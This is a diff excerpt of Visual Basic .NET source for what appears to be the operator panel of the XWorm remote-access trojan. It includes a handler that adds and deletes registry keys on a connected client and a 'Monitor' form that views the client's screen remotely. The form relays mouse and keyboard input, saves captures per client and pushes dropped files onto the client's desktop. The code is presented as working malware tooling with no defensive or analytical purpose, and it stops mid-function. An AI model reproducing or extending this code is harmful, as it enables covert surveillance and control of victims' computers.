Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
|
||||
If (Not RGk.SelectedNode Is Nothing) Then
|
||||
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Black
|
||||
ToolStripStatusLabel1.Text = "Wait.."
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub NewValueToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NewValueToolStripMenuItem1.Click
|
||||
Dim gv As New EditReg
|
||||
gv.Path = RGk.SelectedNode.FullPath & "\"
|
||||
gv.C = C
|
||||
gv.Guna2TextBox1.Text = "Name"
|
||||
gv.Guna2ComboBox1.SelectedIndex = gv.Guna2ComboBox1.Items.IndexOf("String")
|
||||
gv.Guna2TextBox3.Text = "Value"
|
||||
gv.Text = gv.Path
|
||||
gv.ShowDialog(Me)
|
||||
End Sub
|
||||
|
||||
Private Sub EditToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles EditToolStripMenuItem1.Click
|
||||
ListView1_DoubleClick(RuntimeHelpers.GetObjectValue(sender), e)
|
||||
End Sub
|
||||
|
||||
Private Sub DeleteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DeleteToolStripMenuItem1.Click
|
||||
Dim enumerator As IEnumerator
|
||||
Try
|
||||
enumerator = ListView1.SelectedItems.GetEnumerator
|
||||
Do While enumerator.MoveNext
|
||||
Dim current As ListViewItem = DirectCast(enumerator.Current, ListViewItem)
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "@5" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL & current.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Loop
|
||||
Finally
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+277
@@ -0,0 +1,277 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class RemoteDesktop
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(RemoteDesktop))
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel6 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel3 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel4 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel5 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer2 = New System.Windows.Forms.Timer(components)
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2ComboBox2 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Panel2.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel2, ToolStripStatusLabel6, ToolStripStatusLabel3, ToolStripStatusLabel4, ToolStripStatusLabel5, ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 342)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(586, 22)
|
||||
StatusStrip1.TabIndex = 7
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ActiveLinkColor = System.Drawing.Color.Red
|
||||
ToolStripStatusLabel2.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.LinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(64, 17)
|
||||
ToolStripStatusLabel2.Text = "[ Mouse ]"
|
||||
ToolStripStatusLabel2.VisitedLinkColor = System.Drawing.Color.FromArgb(CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(128, Byte), Integer))
|
||||
'
|
||||
'ToolStripStatusLabel6
|
||||
'
|
||||
ToolStripStatusLabel6.ActiveLinkColor = System.Drawing.Color.Red
|
||||
ToolStripStatusLabel6.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
ToolStripStatusLabel6.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel6.LinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
ToolStripStatusLabel6.Name = "ToolStripStatusLabel6"
|
||||
ToolStripStatusLabel6.Size = New System.Drawing.Size(97, 17)
|
||||
ToolStripStatusLabel6.Text = "[ MouseMove ]"
|
||||
ToolStripStatusLabel6.VisitedLinkColor = System.Drawing.Color.FromArgb(CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(128, Byte), Integer))
|
||||
'
|
||||
'ToolStripStatusLabel3
|
||||
'
|
||||
ToolStripStatusLabel3.ActiveLinkColor = System.Drawing.Color.Red
|
||||
ToolStripStatusLabel3.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
ToolStripStatusLabel3.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel3.LinkColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
ToolStripStatusLabel3.Name = "ToolStripStatusLabel3"
|
||||
ToolStripStatusLabel3.Size = New System.Drawing.Size(81, 17)
|
||||
ToolStripStatusLabel3.Text = "[ Keyboard ]"
|
||||
ToolStripStatusLabel3.VisitedLinkColor = System.Drawing.Color.FromArgb(CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(128, Byte), Integer))
|
||||
'
|
||||
'ToolStripStatusLabel4
|
||||
'
|
||||
ToolStripStatusLabel4.ActiveLinkColor = System.Drawing.Color.Red
|
||||
ToolStripStatusLabel4.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel4.LinkColor = System.Drawing.Color.White
|
||||
ToolStripStatusLabel4.Name = "ToolStripStatusLabel4"
|
||||
ToolStripStatusLabel4.Size = New System.Drawing.Size(71, 17)
|
||||
ToolStripStatusLabel4.Text = "[ AutoSave ]"
|
||||
ToolStripStatusLabel4.VisitedLinkColor = System.Drawing.Color.White
|
||||
'
|
||||
'ToolStripStatusLabel5
|
||||
'
|
||||
ToolStripStatusLabel5.ActiveLinkColor = System.Drawing.Color.Red
|
||||
ToolStripStatusLabel5.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel5.LinkColor = System.Drawing.Color.White
|
||||
ToolStripStatusLabel5.Name = "ToolStripStatusLabel5"
|
||||
ToolStripStatusLabel5.Size = New System.Drawing.Size(65, 17)
|
||||
ToolStripStatusLabel5.Text = "[ Window ]"
|
||||
ToolStripStatusLabel5.VisitedLinkColor = System.Drawing.Color.White
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(14, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Timer2
|
||||
'
|
||||
Timer2.Interval = 300
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.Controls.Add(Guna2Panel1)
|
||||
Panel2.Controls.Add(Guna2Panel3)
|
||||
Panel2.Controls.Add(Guna2ComboBox2)
|
||||
Panel2.Controls.Add(Guna2Panel2)
|
||||
Panel2.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel2.Location = New System.Drawing.Point(0, 0)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(586, 38)
|
||||
Panel2.TabIndex = 29
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Controls.Add(Guna2ComboBox1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(48, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(355, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources._Stop
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(265, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(265, 0)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(90, 21)
|
||||
Guna2ComboBox1.TabIndex = 28
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(48, 38)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2ComboBox2
|
||||
'
|
||||
Guna2ComboBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2ComboBox2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox2.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox2.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox2.ItemHeight = 15
|
||||
Guna2ComboBox2.Location = New System.Drawing.Point(403, 0)
|
||||
Guna2ComboBox2.Name = "Guna2ComboBox2"
|
||||
Guna2ComboBox2.Size = New System.Drawing.Size(135, 21)
|
||||
Guna2ComboBox2.TabIndex = 38
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(538, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(48, 38)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
PictureBox1.ErrorImage = Nothing
|
||||
PictureBox1.InitialImage = Nothing
|
||||
PictureBox1.Location = New System.Drawing.Point(0, 38)
|
||||
PictureBox1.Margin = New System.Windows.Forms.Padding(2)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(586, 304)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
PictureBox1.TabIndex = 2
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'RemoteDesktop
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(586, 364)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(Panel2)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "RemoteDesktop"
|
||||
Text = "Monitor"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Panel2.ResumeLayout(False)
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer2 As Timer
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel3 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel4 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel5 As ToolStripStatusLabel
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2ComboBox2 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents ToolStripStatusLabel6 As ToolStripStatusLabel
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,256 @@
|
||||
Imports System.ComponentModel
|
||||
Imports System.IO
|
||||
Imports System.Threading
|
||||
Public Class RemoteDesktop
|
||||
|
||||
Public C As Client
|
||||
Public CID As String
|
||||
Public Sz As Size
|
||||
Public op As New Point(1, 1)
|
||||
|
||||
Public FPS As Integer = 0
|
||||
Public sw As Stopwatch = Stopwatch.StartNew()
|
||||
Private Sub RemoteDesktop_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
||||
_keysPressed = New List(Of Keys)()
|
||||
PictureBox1.AllowDrop = True
|
||||
Try
|
||||
Timer2.Start()
|
||||
Guna2GradientButton1.PerformClick()
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim flag2 As Boolean = e.Delta < 0
|
||||
If flag2 Then
|
||||
Dim B As Byte() = SB("ScrollDown")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("ScrollUp")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RemoteDesktop_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||||
Try
|
||||
ToolStripStatusLabel1.Text = "Size :" & PictureBox1.Width.ToString & "x" & PictureBox1.Height.ToString
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
|
||||
PictureBox1.Focus()
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
||||
Dim but As Integer
|
||||
If e.Button = Windows.Forms.MouseButtons.Left Then
|
||||
but = 4
|
||||
End If
|
||||
If e.Button = Windows.Forms.MouseButtons.Right Then
|
||||
but = 16
|
||||
End If
|
||||
|
||||
Dim B As Byte() = SB("Click" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y & SettingsHelper.SPL & but)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green And ToolStripStatusLabel6.ForeColor = Color.Green Then
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
||||
If PP <> op Then
|
||||
op = PP
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim PP = New Point(e.X * (Sz.Width / PictureBox1.Width), e.Y * (Sz.Height / PictureBox1.Height))
|
||||
Dim but As Integer
|
||||
If e.Button = Windows.Forms.MouseButtons.Left Then
|
||||
but = 2
|
||||
End If
|
||||
If e.Button = Windows.Forms.MouseButtons.Right Then
|
||||
but = 8
|
||||
End If
|
||||
|
||||
|
||||
Dim B As Byte() = SB("Click" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y & SettingsHelper.SPL & but)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
Private Sub ToolStripStatusLabel2_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel2.Click
|
||||
If ToolStripStatusLabel2.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel2.ForeColor = Color.Black
|
||||
ToolStripStatusLabel6.ForeColor = Color.Black
|
||||
Else
|
||||
ToolStripStatusLabel2.ForeColor = Color.Green
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripStatusLabel3_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel3.Click
|
||||
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel3.ForeColor = Color.Black
|
||||
Else
|
||||
PictureBox1.Focus()
|
||||
ToolStripStatusLabel3.ForeColor = Color.Green
|
||||
End If
|
||||
End Sub
|
||||
Private Function IsLockKey(ByVal key As Keys) As Boolean
|
||||
Return ((key And Keys.CapsLock) = Keys.CapsLock) OrElse ((key And Keys.NumLock) = Keys.NumLock) OrElse ((key And Keys.Scroll) = Keys.Scroll)
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub PictureBox1_KeyUp(sender As Object, e As KeyEventArgs) Handles PictureBox1.KeyUp
|
||||
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
If Not IsLockKey(e.KeyCode) Then e.Handled = True
|
||||
_keysPressed.Remove(e.KeyCode)
|
||||
|
||||
|
||||
Dim B As Byte() = SB("Key" & SettingsHelper.SPL & e.KeyCode & SettingsHelper.SPL & "False")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles PictureBox1.KeyDown
|
||||
If ToolStripStatusLabel3.ForeColor = Color.Green Then
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
If Not IsLockKey(e.KeyCode) Then e.Handled = True
|
||||
If _keysPressed.Contains(e.KeyCode) Then Return
|
||||
_keysPressed.Add(e.KeyCode)
|
||||
|
||||
|
||||
Dim B As Byte() = SB("Key" & SettingsHelper.SPL & e.KeyCode & SettingsHelper.SPL & "True")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
Public _keysPressed As New List(Of Keys)
|
||||
|
||||
Private Sub ToolStripStatusLabel4_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel4.Click
|
||||
If ToolStripStatusLabel4.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel4.ForeColor = Color.Black
|
||||
Else
|
||||
Try
|
||||
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Monitor")
|
||||
|
||||
If Not Directory.Exists(fullPath) Then
|
||||
Directory.CreateDirectory(fullPath)
|
||||
End If
|
||||
|
||||
Process.Start(fullPath)
|
||||
ToolStripStatusLabel4.ForeColor = Color.Green
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RemoteDesktop_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseScreen")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripStatusLabel5_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel5.Click
|
||||
If ToolStripStatusLabel5.ForeColor = Color.Green Then
|
||||
ToolStripStatusLabel5.ForeColor = Color.Black
|
||||
|
||||
ToolStripStatusLabel2.Visible = True
|
||||
ToolStripStatusLabel6.Visible = True
|
||||
|
||||
ToolStripStatusLabel3.Visible = True
|
||||
|
||||
Else
|
||||
ToolStripStatusLabel5.ForeColor = Color.Green
|
||||
ToolStripStatusLabel2.ForeColor = Color.Black
|
||||
ToolStripStatusLabel6.ForeColor = Color.Black
|
||||
|
||||
ToolStripStatusLabel3.ForeColor = Color.Black
|
||||
|
||||
ToolStripStatusLabel2.Visible = False
|
||||
ToolStripStatusLabel6.Visible = False
|
||||
|
||||
ToolStripStatusLabel3.Visible = False
|
||||
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragEnter(sender As Object, e As DragEventArgs) Handles PictureBox1.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragDrop(sender As Object, e As DragEventArgs) Handles PictureBox1.DragDrop
|
||||
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
||||
For Each path In files
|
||||
If IO.File.Exists(path) Then
|
||||
Dim B As Byte() = SB("DeskDrop" & SettingsHelper.SPL & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
